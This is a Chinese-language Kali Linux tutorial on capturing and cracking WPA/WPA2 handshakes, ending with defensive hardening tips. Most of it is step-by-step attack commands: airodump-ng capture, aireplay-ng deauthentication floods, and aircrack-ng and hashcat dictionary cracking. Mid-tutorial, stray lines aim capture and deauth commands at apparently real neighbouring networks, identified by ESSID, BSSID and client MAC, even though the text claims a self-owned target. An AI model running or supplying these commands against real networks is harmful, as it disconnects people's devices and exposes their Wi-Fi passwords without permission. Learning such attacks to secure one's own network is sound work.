
Kali Linux 无线网络安全审计指南外接网卡与 WPA/WPA2 握手包抓取实战目录实验环境与硬件准备虚拟机 USB 直通与驱动配置无线安全审计基本原理实战步骤详解四次握手包捕获与分析离线字典破解与 Hashcat GPU 加速常见问题与排错指南 (Troubleshooting)无线网络安全加固防御建议1. 实验环境与硬件准备在虚拟机VMware Workstation 或 VirtualBox中运行 Kali Linux 时虚拟机无法直接使用笔记本内置的无线网卡进行监听内置网卡会被宿主机虚拟化为有线网卡 eth0。因此必须使用支持监听模式Monitor Mode和数据包注入Packet Injection的外接 USB 无线网卡。1.1 推荐无线网卡芯片列表芯片型号频段支持驱动支持特点/评价Atheros AR92712.4 GHz内核免驱 (ath9k_htc)经典抓包芯片极度稳定即插即用Ralink RT3070 / RT53702.4 GHz内核免驱 (rt2800usb)便宜普及支持监听与注入Realtek RTL8812AU2.4 GHz / 5 GHz需编译安装驱动双频 AC 网卡功率高现代主流首选MediaTek MT7612U2.4 GHz / 5 GHz主流内核内置驱动支持 5G 频段性能优秀注意市面上普通的 Wi-Fi 接收器如常见无说明的廉价网卡绝大多数不支持Monitor Mode购买前务必确认芯片型号。2. 虚拟机 USB 直通与驱动配置2.1 设置 USB 控制器关闭 Kali Linux 虚拟机。进入虚拟机设置虚拟机-设置-USB 控制器。将 USB 兼容性设置为USB 3.1或USB 3.0取决于网卡接口规格。勾选“显示所有 USB 输入设备”以及“自动连接新的 USB 设备”。2.2 USB 设备挂载启动 Kali Linux 并登录系统。将外接 USB 网卡插入电脑。在 VMware 菜单栏选择虚拟机-可移动设备-[你的网卡名称]-连接断开与主机连接。2.3 验证网卡识别与驱动状态打开终端运行以下命令Bash# 查看 USB 设备列表确认硬件是否被系统读取 lsusb # 查看无线网卡接口名称 iwconfig如果iwconfig中出现了wlan0或wlan1说明系统已成功识别网卡。若使用 RTL8812AU / RTL8814AU 等双频网卡驱动安装如果网卡能通过lsusb看到但iwconfig识别不出无线接口通常是因为缺少驱动。运行以下命令安装驱动Bashsudo apt update sudo apt install -y realtek-rtl8812au-dkms sudo reboot3. 无线安全审计基本原理3.1 WPA/WPA2 四次握手4-Way HandshakeWPA/WPA2-PSK 加密协议在客户端与无线 AP路由器建立连接时会通过四次数据包交换4-Way Handshake来协商会话密钥PTK而无需在空中传输明文密码。四次握手的主要参数包括ANonceAP 生成的随机数SNonce客户端生成的随机数AP MAC Client MAC双方的物理地址MIC (Message Integrity Code)消息完整性校验码网络审计的核心思路是在空中抓取包含这些参数的 4 个握手数据包通常只需抓到前 2 个或第 2、3 个包然后在本地通过字典穷举密码使用相同的算法推算 MIC当推算的 MIC 与抓到的 MIC 一致时即代表密码匹配成功。4. 实战步骤详解四次握手包捕获与分析------------------ -------------------- ------------------- | 1. 开启 Monitor | ----- | 2. 扫描周边 WPA AP | ----- | 3. 锁定目标频道 | | (airmon-ng) | | (airodump-ng) | | 抓取 handshake | ------------------ -------------------- ------------------- | ------------------ -------------------- | | 5. 字典离线破解 | ----- | 4. 发送 Deauth 包 | ---------------- | (aircrack-ng) | | 强制客户端重连 | ------------------ --------------------步骤一清理冲突进程并开启监听模式网络管理器如NetworkManager会自动占用网卡尝试连接 Wi-Fi这会干扰监听模式。Bash# 1. 停止干扰进程 sudo airmon-ng check kill # 2. 开启监听模式 sudo airmon-ng start wlan0执行成功后网卡接口名称通常会变为wlan0mon部分新内核可能保持wlan0。验证接口状态Bashiwconfig观察Mode:Monitor是否已生效。步骤二扫描周围无线网络使用airodump-ng接收空气中的 Beacon 广播帧定位目标网络Bashsudo airodump-ng wlan0mon终端界面将实时显示搜索到的无线 APBSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -------------------------------------------------------------------------------- AA:BB:CC:DD:EE:FF -42 45 102 2 6 130 WPA2 CCMP PSK MyHomeWifi 11:22:33:44:55:66 -70 12 0 0 11 54e WPA2 CCMP PSK NeighborNet BSSID STATION PWR Rate Lost Frames Notes Probes AA:BB:CC:DD:EE:FF 99:88:77:66:55:44 -38 0 - 1 0 18关键字段含义解析BSSID路由器的 MAC 地址。PWR信号强度数字越接近 0 信号越强例如 -42 比 -70 强。CH信道Channel。ENC / CIPHER加密方式WPA2 CCMP。ESSIDWi-Fi 名称。STATION下方列表中连接到该路由器的客户端 MAC 地址抓取握手包必须有活跃客户端。按Ctrl C停止全频段扫描。步骤三针对目标 AP 锁定抓包找到自建的目标 AP 后假设 BSSID 为AA:BB:CC:DD:EE:FF信道为6启动定向抓包并将结果保存到文件中Bashsudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w /home/kali/handshake wlan0mon-c 6锁定在信道 6防止跳频导致丢包。-w /home/kali/handshake将输出的捕获文件命名为handshake-01.cap。此时保持该终端运行不要关闭。0C:B5:27:5D:90:E0 MizukawaAsamisudo airodump-ng --bssid 0C:B5:27:5D:90:E0 -c 11 -w /home/kali/handshake wlan0monA2:FD:99:32:FA:9F HUAWEI-401sudo airodump-ng --bssid A2:FD:99:32:FA:9F -c 11 -w /home/kali/handshake wlan0monB0:A4:F0:B8:12:30 CU_5Tchsudo airodump-ng --bssid B0:A4:F0:B8:12:30 -c 11 -w /home/kali/handshake wlan0mon50:64:2B:32:9B:36 xiaomisudo airodump-ng --bssid 50:64:2B:32:9B:36 -c 7 -w /home/kali/handshake wlan0mon步骤四发送取消验证帧Deauth Attack触发重连要捕获四次握手必须有设备“正在连接”路由器。如果客户端已经连上我们可以向客户端发送解除认证帧Deauthentication Frame迫使其断开并在数秒内自动重连从而捕获重连时的握手包。打开第二个终端窗口运行Bashsudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 99:88:77:66:55:44 wlan0mon--deauth 5发送 5 个 Deauth 攻击包。-a AA:BB:CC:DD:EE:FF目标的 BSSID路由器 MAC。-c 99:88:77:66:55:44目标客户端的 MAC 地址。sudo aireplay-ng --deauth 5 -a B0:A4:F0:B8:12:30 -c 52:62:51:9E:CC:6B wlan0monsudo aireplay-ng --deauth 5 -a 0C:B5:27:5D:90:E0 -c F0:C9:D1:BA:29:CB wlan0monsudo aireplay-ng --deauth 5 -a A2:FD:99:32:FA:9F -c 46:EE:CA:4F:45:1B wlan0monsudo aireplay-ng --deauth 5 -a 50:64:2B:32:9B:36 -c D4:80:8B:21:4A:8F wlan0mon返回第一个终端airodump-ng界面观察右上角如果成功捕获右上角会出现显眼的提示[ WPA handshake: AA:BB:CC:DD:EE:FF ]一旦出现该提示按Ctrl C停止抓包。在指定路径下会生成handshake-01.cap文件。5. 离线字典破解与 Hashcat GPU 加速握手包抓取完成后后续所有的破解计算均在本地离线进行不再需要网卡或连接无线网络。5.1 使用 Aircrack-ng 进行 CPU 破解Kali 默认自带基础字典/usr/share/wordlists/rockyou.txt.gz先将其解压Bashsudo gzip -d /usr/share/wordlists/rockyou.txt.gz运行aircrack-ng进行碰撞Bashaircrack-ng -w /usr/share/wordlists/rockyou.txt /home/kali/handshake-01.cap终端将逐行测试字典中的密码。由于 CPU 计算哈希的速度较慢每秒几千到几万次破解长复杂密码效率较低。5.2 使用 Hashcat 进行 GPU 高速破解使用显卡Nvidia/AMD的 CUDA/OpenCL 算力可将破解速度提升数百倍。步骤 1格式转换 (cap - hc22000)现代 Hashcat 使用.hc22000格式。可以使用hcxpcapngtool转换Bashsudo apt install -y hcxtools hcxpcapngtool -o output.hc22000 /home/kali/handshake-01.cap步骤 2在 Hashcat 中运行字典破解WPA/WPA2 在 Hashcat 中的模式编号为22000Bashhashcat -m 22000 output.hc22000 /usr/share/wordlists/rockyou.txt -a 0-m 22000指定 WPA/WPA2/WPA3 散列类型。-a 0字典攻击模式Straight。6. 常见问题与排错指南 (Troubleshooting)在实际操作中新手极易遭遇各种硬件与软件故障。下表列出了最常见的问题及解决方法故障现象潜在原因排错与解决方案iwconfig找不到wlan01. 虚拟机未挂载 USB 设备2. 缺少驱动1. 检查 VMware 右下角 USB 图标是否连接至 Guest。2. 运行dmesg \| tail -n 20查看内核日志确认缺少何种固件并安装。aireplay-ng提示fixed channel wlan0mon: -1网卡信道锁定机制异常在启动airodump-ng时显示指定信道或者先用iwconfig wlan0mon channel X手动锁定信道后再攻击。发送 Deauth 包后设备未断开1. 距离过远/信号较弱2. 路由器开启了 802.11w (PMF)3. 5GHz 频段问题1. 靠近目标 AP。2. 现代路由器开启受保护的管理帧PMF后防 Deauth 攻击需等待客户端自然重连。3. 确认网卡是否支持 5G 频段。抓不到 Handshake1. 抓包时无客户端活动2. 丢包严重确保airodump-ng下方有活跃的STATION接入多尝试几次 Deauth。提示NetworkManager is running后台网络管理服务抢占接口务必运行sudo airmon-ng check kill彻底杀掉冲突进程。7. 无线网络安全加固防御建议通过对无线握手包破解过程的了解可以采取以下措施保护自家 Wi-Fi 免受破解强密码策略WPA2 的安全性完全取决于 PSK 密码的复杂程度。使用 16 位以上包含“大小写字母 数字 特殊符号”的无规律组合能彻底免疫字典与掩码破解。升级至 WPA3-PersonalWPA3 引入了SAE (Simultaneous Authentication of Equals)对等实体同时验证协议具备防止离线字典碰撞攻击前向安全性的能力。启用 PMF保护管理帧在路由器中开启802.11w / Management Frame Protection可有效防御 Deauth 强行切断连接的攻击。关闭 WPS (Wi-Fi Protected Setup)WPS 协议存在 PIN 码穷举漏洞Reaver / Pixie Dust 攻击应在路由器管理后台禁用 WPS 功能。